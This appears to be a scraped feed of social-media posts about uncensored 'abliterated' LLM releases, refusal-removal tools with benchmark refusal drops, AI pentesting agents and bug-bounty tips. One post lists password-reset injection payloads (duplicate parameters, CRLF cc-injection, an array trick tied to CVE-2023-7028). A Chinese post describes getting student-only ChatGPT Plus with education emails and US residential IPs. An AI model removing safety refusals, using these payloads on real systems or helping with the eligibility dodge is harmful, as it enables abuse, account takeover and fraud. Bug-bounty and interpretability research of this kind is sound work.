Shawn

Value resides where men believe it resides

[OrcaRouter 🐳 @OrcaRouter]

GLM-5.3-Flash. Uncensored. Native FP8. 🐳

We just released OrcaRouter’s uncensored weights for GLM-5.3-Flash — 320B parameters / 18B active, directly at the original block-FP8 precision.

No LoRA. No jailbreak prompt. Refusal removal is baked directly into the weights.

The evals are particularly interesting:

→ MaliciousInstruct refusal: 96% → 11%
→ JailbreakBench: 93% → 12%
→ AdvBench: 97% → 15%
→ HarmBench: 93% → 18%
→ XSTest benign over-refusal: 2.4% → 0.4%
But refusal does not go uniformly to zero.

Our experiments suggest part of GLM-5.3-Flash's alignment is not mediated by a single linear refusal direction — meaning https://t.co/ZTlxmv47D9 may have built a substantially deeper refusal mechanism than we usually see.

That makes this release interesting beyond uncensoring: it's a useful artifact for studying how frontier-model alignment is actually represented inside the network.

Released for AI safety, interpretability, red/blue-team and refusal-mechanism research.

Weights on Hugging Face: https://t.co/81h1YRh8C2
API (official weight): https://t.co/Hm9DiY3wAo
GGUF, MLX and other quantized formats coming soon.

[Pethuraj M @Pethuraj]

⚡ 𝐂𝐲𝐛𝐞𝐫𝐒𝐭𝐫𝐢𝐤𝐞
Automated penetration testing from your terminal: plug in your Claude, GPT, or any LLM subscription & turn it into an autonomous red team agent with 13+ specialized agents, 7,600+ security skills.

🔗 https://t.co/GnbiGlOWz1

#Cybersecurity #Bugbounty

[18168 @xing_eth]

【免费白嫖 4 个月 ChatgptPlus 详细版】

访问活动页面：直接访问专属链接
https://t.co/2avFksxEyB
通过 SheerID 提交学生信息进行验证
验证成功后，即可领取 4 个月免费权益

注意：
截止时间：10 月 31 日 前完成领取，过期失效
仅限符合条件的美区学生

教育邮箱👇

https://t.co/j5pE4a9VEK
目前的申请截止日期是9月1日，而且完全免费！！

还有很多教育邮箱，尽量选小众的尝试，另外注意使用质

量高的美国家宽IP以免出现无资格！！

大家快去试试吧，成功的兄弟们可以分享下！！

[Co11ateral @co11ateral]

Six Tools for Bug Hunters

We shared tools that proved to work well in bug bounty. You can test them yourself and then feed them into your AI

https://t.co/05xJrE4Ids

@three_cube @_aircorridor

[ProjectDiscovery @pdiscoveryio]

https://t.co/GxaTNywoV9

[Nitin Gavhane @NitinGavhane_]

📂 BUG BOUNTY
┃
┣ 📂 Recon
┃ ┣ 📂 Subdomain Enumeration
┃ ┣ 📂 Asset Discovery
┃ ┣ 📂 Port Scanning
┃ ┣ 📂 HTTP Probing
┃ ┣ 📂 DNS Enumeration
┃ ┗ 📂 Tech Detection
┃
┣ 📂 Web
┃ ┣ 📂 IDOR
┃ ┣ 📂 XSS
┃ ┣ 📂 SSRF
┃ ┣ 📂 SQLi
┃ ┣ 📂 CSRF
┃ ┣ 📂 SSTI
┃ ┗ 📂 File Upload
┃
┣ 📂 API
┃ ┣ 📂 API Discovery
┃ ┣ 📂 BOLA
┃ ┣ 📂 Authentication
┃ ┣ 📂 Authorization
┃ ┣ 📂 Rate Limiting
┃ ┗ 📂 Mass Assignment
┃
┣ 📂 Auth
┃ ┣ 📂 OAuth
┃ ┣ 📂 JWT
┃ ┣ 📂 Sessions
┃ ┣ 📂 MFA
┃ ┗ 📂 Account Takeover
┃
┣ 📂 Automation
┃ ┣ 📂 Recon Automation
┃ ┣ 📂 Nuclei
┃ ┣ 📂 Custom Scripts
┃ ┣ 📂 Asset Monitoring
┃ ┗ 📂 Workflow Orchestration
┃
┣ 📂 Burp Suite
┃ ┣ 📂 Proxy
┃ ┣ 📂 Repeater
┃ ┣ 📂 Intruder
┃ ┣ 📂 Extensions
┃ ┗ 📂 Match & Replace
┃
┣ 📂 Cloud
┃ ┣ 📂 AWS
┃ ┣ 📂 Azure
┃ ┣ 📂 GCP
┃ ┣ 📂 S3
┃ ┗ 📂 Misconfigurations
┃
┣ 📂 Reporting
┃ ┣ 📂 Validation
┃ ┣ 📂 PoC
┃ ┣ 📂 Impact
┃ ┣ 📂 Severity
┃ ┗ 📂 Report Writing
┃
┗ 📂 Growth
┣ 📂 Writeups
┣ 📂 CVE Research
┣ 📂 New Attack Surfaces
┣ 📂 Workflow Optimization
┗ 📂 Continuous Learning

The goal isn't to use more tools.

It's to build a workflow where every step feeds the next.

Recon → Discover → Test → Validate → Report

That's bug bounty orchestration.

#BugBounty #CyberSecurity #AppSec

[7h3h4ckv157 @7h3h4ckv157]

AI Powered Passive Vulnerability Analysis for Burp Suite

• Intelligent
• Silent
• Adaptive
• Comprehensive

Resource: https://t.co/YI3c62qLhG

[pilvar (Philippe Dourassov) @pilvar222]

We found a way to find more vulnerabilities than Mythos (Claude Security) without burning $10k worth of tokens

TLDR: it's much better to use many agents with small models than to use a few agents with big models

Full blog post on how we did it: https://t.co/8xvHVQwMGD

[Abhishek @aacle_]

"Bug bounty is dead."

Meanwhile, someone just made $200K using one prompt.

Maybe the real story isn't that bug bounty is dying.

Maybe we're watching the definition of a bug bounty hunter change.

The skill is moving from finding every bug yourself to knowing what to make the machine investigate.

[雪瑜 @xueyu1125]

昨天推荐的Qwen3.8-27B 社区优化版模型，没想到收到真么多人的喜欢

今天又整理了四个，主要是大家可能更关心的越狱版本

1. . HauhauCS/Qwen3.8-27B-Uncensored-HauhauCS-Aggressive-MTP-GGUF 越狱版本+最强MTP优化，不输于昨天推荐的DFlash2的版本
2. 0bserverx/Qwen3.8-27B-Heretic-Abliterated-Uncensored-GGUF 如果你怕越狱后降���，可以优先考虑这个版本，给出测试结果降智相对较小
3. orcarouter/Qwen3.8-27B-Uncensored-MLX 这个是我装的预约版本，主要是针对Mac 苹果芯片做了优化
4. soyaakinohara/qwen3.8-27b-abliterated-3.69bpw-12GB-MTP.gguf 最后这个是小显存玩家的首选了

[Nicolas Krassas @Dinosn]

zyrexnn/cybermes: Autonomous Offensive Security, Bug Bounty & Red Teaming Agent Framework powered by Hermes Agent, specialized reasoning skills, and multi-model LLM orchestration. https://t.co/PuVSXuitPv

[Pliny the Liberator 🐉󠅫󠄼󠄿󠅆󠄵󠄐󠅀󠄼󠄹󠄾󠅉󠅭 @elder_plinius]

whoops! if you downloaded one of the Qwen-3.8-OBLITERATED GGUFs and were disappointed with the results, try redownloading the latest! (V3)

my agent has just informed me we made a booboo in our GGUF conversion pipeline... 😬 the bf16 (safetensor) files were always fine, but the GGUFs weren't being properly converted

so whoever said "doesn't seem that liberated, maybe only works on the dev's machine" — YOU WERE RIGHT LOL

that's my bad for not validating the GGUFs in a fresh environment before pushing 🙏 everything should be good now!

[Md Ismail Šojal 🕷️ @0x0SojalSec]

in One-click Removed refusal behaviors from open-weight AI models got uncensored.

OBLITERATUS : A master ablation suite that surgically removes refusal directions from any open-weight model while preserving full reasoning capability.

- 13 obliteration methods (including brand new ones)
- Real-time analysis-informed pipeline
- Expert-Granular support for MoE
- CoT-aware ablation
- Community telemetry that makes every run contribute to science

Free on ZeroGPU : https://t.co/ruZepXJicp

[Ahmet Barut @ahmtbrt07]

bugTricks# Password Reset Functionality Testing

# [email protected]

1- Try [email protected]

2- Try [email protected],[email protected]

3- Try [email protected]&[email protected]

3- Try [email protected],cc: [email protected]

4- Try [email protected]\ncc: [email protected]

5- Try {"email": "[email protected]", "email":"[email protected]"}

6- Try {"email": ["[email protected]", "[email protected]"]}

7- Try email=“[email protected]$%0a%0d$cc: [email protected]” --> Hussein Daher ThreatCon Fuzzing Technique

7- Try user[email][][email protected]&user[email][][email protected] --> CVE-2023-7028

I've shared my own experience and approach, as well as the approach of elite hunters. I hope you find it helpful. thanks @nahamsec @HusseiN98D 🙏

#BugBounty #EthicalHacking #CyberSecurity

[Nicolas Krassas @Dinosn]

CVE pollution has a real impact. People submit anything that might seen as vulnerability, they might even go on creating first an app and then reporting on their own app, to get a CVE number under the name for visibility. This is just pollution on the dataset.

[OrcaRouter 🐳 @OrcaRouter]

We just released our uncensored weights for Qwen3.8 27B FP8, designed for AI Red Teaming and security research, enjoy!
https://t.co/SyuBfYLhtO

[H4x0r.DZ 🇰🇵 @h4x0r_dz]

CVEs everywhere
0days everywhere
RCEs everywhere
And yet I still see some posts say AI won't affect cybersecurity 🤡

[开发者Hailey @IndieDevHailey]

兄弟们，本地党可以无边界的玩了。

阿里Qwen3.8-27B被彻底OBLITERATED（彻底消融/移除安全限制）了，V2版直接0拒绝。

更好的是MMLU（大规模多任务语言理解测试，衡量模型知识与推理能力的标准分数）从85.3%干到86.3%，比原版还高。

用了互补消融混合技术（Complementary Abliteration Blending，把两种不同的消融方法混合，让各自的缺点互相抵消），把安全对齐（拆干净，能力反而涨了。

真正无审查，还能干活。

[Aircorridor @_aircorridor]

PentestCode is an impressive tool that might significantly speed up your pentest or bug bounty hunting!

Check out an article from @co11ateral to learn how to use it:
https://t.co/vPd4og4Ipz

[Gregor Zunic @gregpr07]

qwen 3.8 uncensored is actually scary ☠️

it will just do anything you ask it to do on the web, no gates